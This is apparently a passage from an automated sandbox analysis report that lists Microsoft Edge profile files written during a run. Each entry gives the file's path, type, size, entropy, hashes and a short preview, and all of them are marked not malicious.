Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.180227471295037
Encrypted:	false
SSDEEP:	6:HUWb/q2P923oH+TcwtnG2tMsIFUt8YUWbyZmw+YUWb+kwO923oH+TcwtnG2tMsLJ:/b/v4Yebn9GFUt8Uby/+Ub+5LYebn95J
MD5:	601E76E458D2F2E1C76DAA1607DDA102
SHA1:	CDDCE91E301FB6DA2A061BDCBCFF6320D856FF37
SHA-256:	F3E4B99BA20AA8C0CC0C89719847E62D94030EC2C0A3F6151A4E3F79FC8E4840
SHA-512:	3BF3C810658298F75523FC41181675BE9536AA13253D8A22889253D59A91B3CB17015565988554E013E354C8D435CBCF1B1803A8E1083C6BC416C0E4DF2BCFED
Malicious:	false
Preview:	2024/11/11-15:59:12.745 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-15:59:12.745 1c54 Recovering log #3.2024/11/11-15:59:12.745 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.180227471295037
Encrypted:	false
SSDEEP:	6:HUWb/q2P923oH+TcwtnG2tMsIFUt8YUWbyZmw+YUWb+kwO923oH+TcwtnG2tMsLJ:/b/v4Yebn9GFUt8Uby/+Ub+5LYebn95J
MD5:	601E76E458D2F2E1C76DAA1607DDA102
SHA1:	CDDCE91E301FB6DA2A061BDCBCFF6320D856FF37
SHA-256:	F3E4B99BA20AA8C0CC0C89719847E62D94030EC2C0A3F6151A4E3F79FC8E4840
SHA-512:	3BF3C810658298F75523FC41181675BE9536AA13253D8A22889253D59A91B3CB17015565988554E013E354C8D435CBCF1B1803A8E1083C6BC416C0E4DF2BCFED
Malicious:	false
Preview:	2024/11/11-15:59:12.745 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/11-15:59:12.745 1c54 Recovering log #3.2024/11/11-15:59:12.745 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354093571749016
Encrypted:	false
SSDEEP:	6144:CA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:CFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	8A4CF02FCBD96AFC6834337E2E3E362E
SHA1:	B108BD6077EE764B368E9CBF54B507C6958B6900
SHA-256:	BA126B56B0A67784665DD86DFC1665DAEE9926115AFF6806D2BA4EF895E3AB23
SHA-512:	EF83A50867C47787B13889505AE7523E1AC421CB1713BF67F74802EF59E05CA2C6C7177833065F91A39D46B079CDADED8A6CF6B2BB0429983D230EABDC33F581
Malicious:	false
Preview:	...m.................DB_VERSION.1:..q...............&QUERY_TIMESTAMP:domains_config_gz2...13375832359315435..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]...`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.162289278894524
Encrypted:	false
SSDEEP:	6:HUWJCeq1923oH+Tcwtk2WwnvB2KLlVUWJMP+q2P923oH+Tcwtk2WwnvIFUv:/AefYebkxwnvFLneWv4YebkxwnQFUv
MD5:	C0BE0B624E60B2923417A377F0C3D15D
SHA1:	920C2B107BF02FFEF9CF75CD1B1B7AC7D72D0D5A
SHA-256:	A53273E4ABD08B3A21D72640A13C39833C8E932C87713790F1D979E25F534B51
SHA-512:	65E252D6577D063CAE0E95AB3CB1B863CBDFB11B6C80DACEDE1916092694E3254AD763CF4CB77BA81FC5C5A68538BAC56459DEC3D660A084D87E440D694C5AEC
Malicious:	false
Preview:	2024/11/11-15:59:18.234 2288 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/11-15:59:18.551 2288 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358859
Entropy (8bit):	5.324610627222915
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6RI:C1gAg1zfvg
MD5:	89CA124E1BA50666284ED14AE155D1C9
SHA1:	07CA868116E40C551A46EBA53A42CF709BBF3201
SHA-256:	B54A125DA37EC40ED5CCCFA9A4EFA8FB27BECE46EB79476710F3880F0CEDF5BF
SHA-512:	F96FDFEC5F02C12AA638957F373CCF51D1275653B023C8C6EE987A19D73AB7511C7CC335A6480AD454AFDC64400B4A947A3EEE36687ED669E034F30142D2BE76
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16880375834252
Encrypted:	false
SSDEEP:	6:HUWb6Usq2P923oH+Tcwt8aPrqIFUt8YUWb2FZZmw+YUWb2FzkwO923oH+Tcwt8a4:/b6Usv4YebL3FUt8UbiZ/+Ubiz5LYebc
MD5:	AFB2448CECB4DD34AEE46608CFB035C5
SHA1:	FC58A84ED9B19D8361FB456E6F7AB128952C8490
SHA-256:	3C846995420B74A0B5699EC9B14EAFF9DF658CEAE594797D846C03DCBBC40573
SHA-512:	5ED426398C48830BAB303C95597FE5258F6307E2A03851629D280820CE2C6937793B59B35A8B72A11F4A18311465A3913F0D584D6743E981A0400D3EAEB030AE
Malicious:	false
Preview:	2024/11/11-15:59:12.748 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-15:59:12.749 1c54 Recovering log #3.2024/11/11-15:59:12.749 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.16880375834252
Encrypted:	false
SSDEEP:	6:HUWb6Usq2P923oH+Tcwt8aPrqIFUt8YUWb2FZZmw+YUWb2FzkwO923oH+Tcwt8a4:/b6Usv4YebL3FUt8UbiZ/+Ubiz5LYebc
MD5:	AFB2448CECB4DD34AEE46608CFB035C5
SHA1:	FC58A84ED9B19D8361FB456E6F7AB128952C8490
SHA-256:	3C846995420B74A0B5699EC9B14EAFF9DF658CEAE594797D846C03DCBBC40573
SHA-512:	5ED426398C48830BAB303C95597FE5258F6307E2A03851629D280820CE2C6937793B59B35A8B72A11F4A18311465A3913F0D584D6743E981A0400D3EAEB030AE
Malicious:	false
Preview:	2024/11/11-15:59:12.748 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/11-15:59:12.749 1c54 Recovering log #3.2024/11/11-15:59:12.749 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161978714420394
Encrypted:	false
SSDEEP:	6:HUWbnq2P923oH+Tcwt865IFUt8YUWbqeZmw+YUWbqSkwO923oH+Tcwt86+ULJ:/bnv4Yeb/WFUt8Ubp/+Ubj5LYeb/+SJ
MD5:	A2938CA25BB1BD71E62AA456B331E0E9
SHA1:	F4E0093712C21C62C578724629A44A6B084B8582
SHA-256:	08E5F5F9D95608138551E0CCD81723CF1766CCB72C84BA4AF43DA61E98E8B184
SHA-512:	05FF021B7E6C54FB0247C8A8F14D699B12CC76FD7069A323766A37FC3DC650F2E2B9F0CB320EFF37A3DA4F49EB04BCB28245E609E7AD386F3E8BFD045DBBAB70
Malicious:	false
Preview:	2024/11/11-15:59:12.752 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-15:59:12.753 1c54 Recovering log #3.2024/11/11-15:59:12.753 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.161978714420394
Encrypted:	false
SSDEEP:	6:HUWbnq2P923oH+Tcwt865IFUt8YUWbqeZmw+YUWbqSkwO923oH+Tcwt86+ULJ:/bnv4Yeb/WFUt8Ubp/+Ubj5LYeb/+SJ
MD5:	A2938CA25BB1BD71E62AA456B331E0E9
SHA1:	F4E0093712C21C62C578724629A44A6B084B8582
SHA-256:	08E5F5F9D95608138551E0CCD81723CF1766CCB72C84BA4AF43DA61E98E8B184
SHA-512:	05FF021B7E6C54FB0247C8A8F14D699B12CC76FD7069A323766A37FC3DC650F2E2B9F0CB320EFF37A3DA4F49EB04BCB28245E609E7AD386F3E8BFD045DBBAB70
Malicious:	false
Preview:	2024/11/11-15:59:12.752 1c54 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/11-15:59:12.753 1c54 Recovering log #3.2024/11/11-15:59:12.753 1c54 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17097895056145
Encrypted:	false
SSDEEP:	6:HUWEQ+q2P923oH+Tcwt8NIFUt8YUW0gZmw+YUWpQVkwO923oH+Tcwt8+eLJ:/8v4YebpFUt8U9/+Ua5LYebqJ
MD5:	17358A032D1BDC02B7B562DF27D988C9
SHA1:	06CAE8D3074A299309952730EEBE650E0DD8A9AA
SHA-256:	7206FE08887C21B9489036675AEBC6F16E5A0C9BC9183F1C3F34DA709A4F07B8
SHA-512:	15B33BFD737514AC159CC0A85DC11F8C27D1CEB00CCA2F476875B96C30B760A9FAF7398363144026104B1F840F4E2074D8E5E75423C025C6D3400EB61B7135AF
Malicious:	false
Preview:	2024/11/11-15:59:13.639 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-15:59:13.640 1d08 Recovering log #3.2024/11/11-15:59:13.641 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.17097895056145
Encrypted:	false
SSDEEP:	6:HUWEQ+q2P923oH+Tcwt8NIFUt8YUW0gZmw+YUWpQVkwO923oH+Tcwt8+eLJ:/8v4YebpFUt8U9/+Ua5LYebqJ
MD5:	17358A032D1BDC02B7B562DF27D988C9
SHA1:	06CAE8D3074A299309952730EEBE650E0DD8A9AA
SHA-256:	7206FE08887C21B9489036675AEBC6F16E5A0C9BC9183F1C3F34DA709A4F07B8
SHA-512:	15B33BFD737514AC159CC0A85DC11F8C27D1CEB00CCA2F476875B96C30B760A9FAF7398363144026104B1F840F4E2074D8E5E75423C025C6D3400EB61B7135AF
Malicious:	false
Preview:	2024/11/11-15:59:13.639 1d08 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/11-15:59:13.640 1d08 Recovering log #3.2024/11/11-15:59:13.641 1d08 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:ljtFlljq7A/mhWJFuQ3yy7IOWUgY/4dweytllrE9SFcTp4AGbNCV9RUIcd:K75fOeJd0Xi99pEYid
MD5:	C1A6F0FDA5EE357E214E5C110EC77BEB
SHA1:	94D022454794E3D185D9EB6E1C6AEF721B37AD21
SHA-256:	951EAB299F4AB2BCC549E7871385AAD28D310035E17AED6F46C7CC7D879643AB
SHA-512:	0D7A61E11BCDE61B7D9F51F10FCCAF7EA22FE56C5C11F3A1197579ADBE54E2FDBFF7B5EC2913D2689ACFE441CD3157E78C83FDF3CBD4234F5501F1A90CFE42CA
Malicious:	false
Preview:	............]......&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.288954790604991
Encrypted:	false
SSDEEP:	12:/HkfsOv4Yeb8rcHEZrELFUt8UH81/+UHO5LYeb8rcHEZrEZSJ:/H84Yeb8nZrExg8UH4HYLYeb8nZrEZe
MD5:	1EBA5002E0744C1DDDD01D088D67A9F2
SHA1:	828BB6BE0132A2CD2DC76E872C680F83AA1AFEA6
SHA-256:	AD4713D719363BDC8624477346FF0EBBF54A47B2789971844088DBB5992BF115
SHA-512:	61E840FE7FC439DFBBD35E60228D64E3F22B67E28E09E570E8A4EBF9B95B4138F15E53FF6832DC6D66CC22D1B7E05F8C5FCAA34ED5BF993163AC172D134A9611
Malicious:	false
Preview:	2024/11/11-15:59:16.607 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-15:59:16.608 1c98 Recovering log #3.2024/11/11-15:59:16.608 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.288954790604991
Encrypted:	false
SSDEEP:	12:/HkfsOv4Yeb8rcHEZrELFUt8UH81/+UHO5LYeb8rcHEZrEZSJ:/H84Yeb8nZrExg8UH4HYLYeb8nZrEZe
MD5:	1EBA5002E0744C1DDDD01D088D67A9F2
SHA1:	828BB6BE0132A2CD2DC76E872C680F83AA1AFEA6
SHA-256:	AD4713D719363BDC8624477346FF0EBBF54A47B2789971844088DBB5992BF115
SHA-512:	61E840FE7FC439DFBBD35E60228D64E3F22B67E28E09E570E8A4EBF9B95B4138F15E53FF6832DC6D66CC22D1B7E05F8C5FCAA34ED5BF993163AC172D134A9611
Malicious:	false
Preview:	2024/11/11-15:59:16.607 1c98 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-15:59:16.608 1c98 Recovering log #3.2024/11/11-15:59:16.608 1c98 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	5.6826828121627955
Encrypted:	false
SSDEEP:	48:fZBnEWLE7m8XZYV03Sx4/JyCrdg1/VQHHQX2bFyj:fbENmm00yEjbEj
MD5:	1E56106F4B07A0A4C6FE7050B6D0CEFA
SHA1:	4558AE76A90D914C6EF95BEA7BDE90519033C175
SHA-256:	2A0D549B2DC8A6701A84B467E6BEE8C3EA251576654CFFA200EAC8ACA699782B
SHA-512:	C2243ECF62C8C75DC2BAD10C1187BF4B5C8307E9607B69C4B1F344944C13ED852D858E741BED8BBC80CB8E348AC773ADF0B4A8251F5BCFBDE1B3BF54ECA494C5
Malicious:	false
Preview:	....z................VERSION.1..META:https://ntp.msn.com..............._https://ntp.msn.com..FallbackNavigationResult@.{"r":"edgenext-base-v1-empty. NetworkCall","ic":true,"te":1077}.!_https://ntp.msn.com..LastKnownPV..1731358761278.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731358762764.._https://ntp.msn.com..MUID!.1BD2121F17CE6DB91D24072B16C96CCE.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731358761370,"schedule":[33,4,-1,20,-1,-1,-1],"scheduleFixed":[33,4,-1,20,-1,-1,-1],"simpleSchedule":[20,31,23,24,51,52,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731358761232.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241109.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

